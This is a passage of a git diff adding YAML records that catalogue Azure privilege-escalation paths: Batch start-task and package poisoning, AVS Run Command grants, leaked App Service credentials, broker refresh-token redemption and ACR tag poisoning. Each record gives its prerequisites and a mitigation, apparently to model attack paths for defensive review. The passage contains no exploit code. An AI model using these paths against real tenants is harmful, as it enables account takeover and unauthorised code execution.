"{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "AVS vCenter CloudAdmin / NSX-T admins of {target.scope}" + conditions: + - id: package_capability + description: The gain depends on the cmdlets available in the installed packages; only some of them (for example identity-source or group management cmdlets) grant administrative access to the source. + - id: management_network_reachable + description: Using the resulting vCenter access needs network access to the private cloud management endpoints. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict scriptExecutions/write, review Run Command execution history, and audit vCenter SSO identity sources and CloudAdmins group membership. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/using-azure-vmware-solution-run-command + notes: "" + +- id: azure-avs-run-command-vcenter-grant-external-principal + provider: azure + service: avs + title: Gain a named vCenter identity through a verified AVS Run Command grant + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: An AVS Run Command cmdlet can grant a named vCenter account new access only when the chosen package and cmdlet succeed and a reviewed login proves the added permission. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/scriptExecutions/write + scope: '*' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_vcenter + scope: inherited_scope + outcome: identity + aggregate_as: Exact vCenter identity granted by verified AVS Run Command + conditions: + - id: exact_cmdlet_subject_and_grant + description: Unique complete reviewed evidence must bind the executed identity cmdlet and granted group to a source-controlled member login, prior denial, successful grant, and newly allowed vCenter action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict AVS script execution and audit vCenter SSO identity sources and administrators. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/using-azure-vmware-solution-run-command + notes: Package and cmdlet read permissions aid discovery but are not needed when the cmdlet ID is already known. The selector checks write permission on the exact script execution, including a grant limited to that child resource. Only a reviewed identity_grant artifact naming the execution, granted group, source-controlled member login, and successful subsequent authorization creates an edge. diff --git a/src/privilege-escalation-paths-research/azure/batch.yaml b/src/privilege-escalation-paths-research/azure/batch.yaml new file mode 100644 index 0000000000..ebc227c669 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/batch.yaml @@ -0,0 +1,165 @@ +- id: azure-batch-shared-key-task-submission + provider: azure + service: batch + title: Batch shared key allows task submission to pools with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountslistkeysaction + source_revision: a66f094ede + summary: The source can obtain the privileges of user-assigned identities attached to the Batch account's pools. + requires: + all_of: [] + any_of: + - - action: Microsoft.Batch/batchAccounts/listkeys/action + scope: "{target.host_resource}" + - - action: Microsoft.Batch/batchAccounts/regeneratekeys/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: shared_key_auth_mode + description: allowedAuthenticationModes must include SharedKey; a source that also holds Microsoft.Batch/batchAccounts/write can re-enable it. + - id: pool_has_nodes + description: An existing pool with the identity must have (or be able to allocate) compute nodes. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove SharedKey from allowedAuthenticationModes and restrict listkeys/regeneratekeys. + references: + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + notes: regeneratekeys also disrupts legitimate key users. +- id: azure-batch-job-task-submission + provider: azure + service: batch + title: Submit Batch jobs/tasks via data actions to pools with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#azure-batch-job-and-task-data-actions + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities attached to the Batch account's pools. + requires: + all_of: [] + any_of: + - - action: Microsoft.Batch/batchAccounts/jobs/write + data_action: true + scope: "{target.host_resource}" + - - action: Microsoft.Batch/batchAccounts/jobSchedules/write + data_action: true + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: pool_has_nodes + description: An existing pool with the identity must have (or be able to allocate) compute nodes. + - id: task_can_reach_imds + description: Task user isolation and network configuration must allow tasks to request the pool identity token. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit Azure Batch Job Submitter assignments and keep pool identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/batch/batch-role-based-access-control + notes: HackTricks cites the jobs/* and jobSchedules/* wildcards of the built-in role. Microsoft's Batch data-action list has no separate tasks action, so jobs/write (or jobSchedules/write) is the narrowest data action covering task add. +- id: azure-batch-pool-write-starttask + provider: azure + service: batch + title: Rewrite a pool start task to run code on nodes with the pool identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountspoolswrite--node-rce-via-pool-starttask--managed-identity-attach-control-plane-no-keys + source_revision: 171e422 + summary: A pool start task the source controls runs on every node through the control plane (no account keys), exposing the user-assigned identities attached to the pool. + requires: + all_of: + - action: Microsoft.Batch/batchAccounts/pools/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: nodes_restart_or_join + description: The new start task runs when nodes join or are rebooted/reimaged; existing idle nodes do not rerun it on their own. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict pools/write (included in Contributor) and keep pool identities least-privileged. + references: + - https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/update + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + notes: Attaching a new user-assigned identity to a pool is modelled in azure-batch-pool-write-assign-user-assigned-identity. +- id: azure-batch-pool-write-assign-user-assigned-identity + provider: azure + service: batch + title: Attach a user-assigned identity to a Batch pool and run code on its nodes + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountspoolswrite--node-rce-via-pool-starttask--managed-identity-attach-control-plane-no-keys + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope by attaching them to a pool whose start task it controls. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.Batch/batchAccounts/pools/write + scope: '{pivot}' + pivot_resource_type: Microsoft.Batch/batchAccounts + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: pool_core_quota + description: The Batch account needs core quota to allocate nodes for the pool. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and pools/write. + references: + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + notes: "" +- id: azure-batch-application-package-poisoning + provider: azure + service: batch + title: Replace a Batch application package version used by pools + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountsapplicationsversionswrite--activateaction--application-package-supply-chain-poisoning + source_revision: 171e422 + summary: Pools or tasks that reference and execute an application package version the source replaced run its + code with the pool identities. + requires: + all_of: + - action: Microsoft.Batch/batchAccounts/applications/write + scope: '{target.host_resource}' + - action: Microsoft.Batch/batchAccounts/applications/versions/write + scope: '{target.host_resource}' + - action: Microsoft.Batch/batchAccounts/applications/versions/activate/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: Pool identities of Batch account {target.host_resource} + conditions: + - id: package_referenced_and_executed + description: A pool or task must reference the poisoned package version (or the default version) and execute + its contents; packages are deployed when nodes join or tasks start. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict applications/write, application version write/activate, and pin explicit package versions. + references: + - https://learn.microsoft.com/en-us/azure/batch/batch-application-packages + notes: '' diff --git a/src/privilege-escalation-paths-research/azure/challenge-v3-azure.yaml b/src/privilege-escalation-paths-research/azure/challenge-v3-azure.yaml new file mode 100644 index 0000000000..cfb809cffa --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/challenge-v3-azure.yaml @@ -0,0 +1,1057 @@ +# Azure challenge review: exact attested facts only; no broad permission-based identity inference. +- id: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-sp + provider: azure + service: challenge + title: Recover an Entra or managed-service credential from publicly served app configuration (SP) + source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#source--secrets-served-as-static-content + summary: The public file can yield a principal credential if its actual contents and issuer identify one. A static-content + setting alone cannot prove this. + requires: + all_of: [] + source_kind: + - azure_challenge_foothold + target: + kind: azure_service_principal + selector: + azure_challenge_fact: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-sp + scope: any + outcome: credentials + aggregate_as: Exact reviewed target for Recover an Entra or managed-service credential from publicly served + app configuration + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. observed 200 response at the exact site/path + parsed credential type + issuer and principal ID; no + edge from filename alone; credential_current_and_usable + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. + source_selector: + source_id_glob: azure_challenge_foothold:*:anonymous +- id: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-mi + provider: azure + service: challenge + title: Recover an Entra or managed-service credential from publicly served app configuration (MI) + source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#source--secrets-served-as-static-content + summary: The public file can yield a principal credential if its actual contents and issuer identify one. A static-content + setting alone cannot prove this. + requires: + all_of: [] + source_kind: + - azure_challenge_foothold + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-mi + scope: any + outcome: credentials + aggregate_as: Exact reviewed target for Recover an Entra or managed-service credential from publicly served + app configuration + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. observed 200 response at the exact site/path + parsed credential type + issuer and principal ID; no + edge from filename alone; credential_current_and_usable + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. + source_selector: + source_id_glob: azure_challenge_foothold:*:anonymous +- id: azure-v3-02-use-publicly-leaked-app-service-publishing-credentials + provider: azure + service: challenge + title: Use publicly leaked App Service publishing credentials to deploy code as the app + source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#publishingdeployment-credentials + summary: A same-resource configuration join gives a bounded potential path; future execution or credential use + cannot be definite from this snapshot. + requires: + all_of: [] + source_kind: + - azure_challenge_foothold + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-02-use-publicly-leaked-app-service-publishing-credentials + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Use publicly leaked App Service publishing credentials to deploy code + as the app + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. publicly retrieved publish profile credential -> exact site or slot SCM endpoint -> basic publishing + enabled; publishing_credential_valid_and_deployment_runs + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. + source_selector: + source_id_glob: azure_challenge_foothold:*:anonymous +- id: azure-v3-03-redeem-a-broker-context-refresh-token-as-another-first + provider: azure + service: challenge + title: Redeem a broker-context refresh token as another first-party client and resource + source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#naa--broci-nested-app-authentication--broker-client-injection + summary: BroCI may add a delegated API authority for the same user without yielding another identity. Model only + that narrower authority and require a token-possession precondition; a normal refresh token is insufficient. + requires: + all_of: [] + source_kind: + - azure_challenge_foothold + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-03-redeem-a-broker-context-refresh-token-as-another-first + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Redeem a broker-context refresh token as another first-party client + and resource + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. same user/token issuance context -> broker client tuple -> target first-party app consent grant and + Conditional Access; attacker_possesses_unexpired_broker_issued_refresh_token + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. Absent or unknown broker token flag emits UNKNOWN + only; invalid tuple or denied consent emits no edge. + source_selector: + source_id_glob: azure_challenge_foothold:*:broker_token +- id: azure-v3-09-file-share-overwrite + provider: azure + service: challenge + title: File share overwrite + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfileswrite-microsoftstoragestorageaccountsfileserviceswritefilebackupsemanticsaction + summary: A same-resource configuration join gives a bounded potential path; future execution or credential use + cannot be definite from this snapshot. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-09-file-share-overwrite + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for File share overwrite + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. storage account/share/path -> mounted path or explicit script/package reference -> workload identity; + consumer_starts_and_executes_replaced_file + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-10-budget-action-group + provider: azure + service: challenge + title: Budget Action Group + source: src/pentesting-cloud/azure-security/az-persistence/az-cost-management-persistence.md#budget-triggered-action-group-as-a-persistent-trigger + summary: An Action Group reference or callback only invokes configured behavior. A potential identity edge exists + only if the receiver definition actually runs attacker-selected code or forwards attacker-controlled input into + a privileged action. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-10-budget-action-group + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Budget Action Group + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. budget notification.contactGroups -> exact Action Group receiver -> code/action definition under attacker + control; trigger_fires_and_receiver_runs_attacker_controlled_payload + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-11-alert-action-group + provider: azure + service: challenge + title: Alert Action Group + source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#alert-rule--action-group-as-a-trigger-you-own + summary: An Action Group reference or callback only invokes configured behavior. A potential identity edge exists + only if the receiver definition actually runs attacker-selected code or forwards attacker-controlled input into + a privileged action. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-11-alert-action-group + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Alert Action Group + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. enabled alert rule actions -> exact Action Group receiver -> code/action definition under attacker control; + trigger_fires_and_receiver_runs_attacker_controlled_payload + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-12-alert-automation + provider: azure + service: challenge + title: Alert automation + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#abusing-alert-automation-turning-a-defence-into-an-execution-surface + summary: An Action Group reference or callback only invokes configured behavior. A potential identity edge exists + only if the receiver definition actually runs attacker-selected code or forwards attacker-controlled input into + a privileged action. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-12-alert-automation + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Alert automation + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. callback receiver URL or alert action -> exact workflow/function trigger -> code/action definition under + attacker control; trigger_fires_and_receiver_runs_attacker_controlled_payload + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-13-databricks-global-init-scripts + provider: azure + service: challenge + title: Databricks global init scripts + source: src/pentesting-cloud/azure-security/az-persistence/az-databricks-persistence.md#global-init-scripts--workspace-wide-persistent-rce + summary: A same-resource configuration join gives a bounded potential path; future execution or credential use + cannot be definite from this snapshot. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-13-databricks-global-init-scripts + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Databricks global init scripts + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. workspace -> enabled global init script -> cluster configured to run it -> cluster/access-connector + identity; cluster_start_or_restart_executes_script + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-14-acr-listcredentials-passive-tag-poison + provider: azure + service: challenge + title: ACR listCredentials passive tag poison + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieslistcredentialsaction + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-14-acr-listcredentials-passive-tag-poison + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR listCredentials passive tag poison + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + admin user must be enabled; consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-15-acr-regeneratecredential-passive-tag-poison + provider: azure + service: challenge + title: ACR regenerateCredential passive tag poison + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesregeneratecredentialaction + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-15-acr-regeneratecredential-passive-tag-poison + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR regenerateCredential passive tag poison + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + admin user must be enabled; consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-16-acr-token-generatecredentials-passive-tag-poison + provider: azure + service: challenge + title: ACR token generateCredentials passive tag poison + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesgeneratecredentialsaction + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-16-acr-token-generatecredentials-passive-tag-poison + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR token generateCredentials passive tag poison + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + for token, scope map actions and repository pattern must authorize manifest write; consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-17-acr-importimage-passive-tag-poison + provider: azure + service: challenge + title: ACR importImage passive tag poison + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesimportimageaction + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-17-acr-importimage-passive-tag-poison + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR importImage passive tag poison + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-18-acr-taskruns-write-passive-tag-poison + provider: azure + service: challenge + title: ACR taskruns/write passive tag poison + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskrunswrite + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-18-acr-taskruns-write-passive-tag-poison + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR taskruns/write passive tag poison + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-19-acr-schedulerun-passive-tag-poison + provider: azure + service: challenge + title: ACR scheduleRun passive tag poison + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesschedulerunaction + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-19-acr-schedulerun-passive-tag-poison + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR scheduleRun passive tag poison + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-20-mutable-image-tag-passive-consumers + provider: azure + service: challenge + title: Mutable image tag passive consumers + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#mutable-image-tag-poisoning-with-repository-content-permissions + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-20-mutable-image-tag-passive-consumers + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Mutable image tag passive consumers + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-21-acr-cache-rule-redirect + provider: azure + service: challenge + title: ACR cache rule redirect + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriescacheruleswrite-credentialsetswrite--cache-rule-redirect--supply-chain + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-21-acr-cache-rule-redirect + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR cache rule redirect + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + cache rule target path must match and upstream credential set be usable; consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-22-acr-push-write-passive-consumers + provider: azure + service: challenge + title: ACR push/write passive consumers + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespushwrite + summary: A poisoned tag is a valid attack path for a named tag consumer, but the configured reference does not + prove a future pull. Quick tasks themselves have no inherited victim identity. + requires: + all_of: [] + 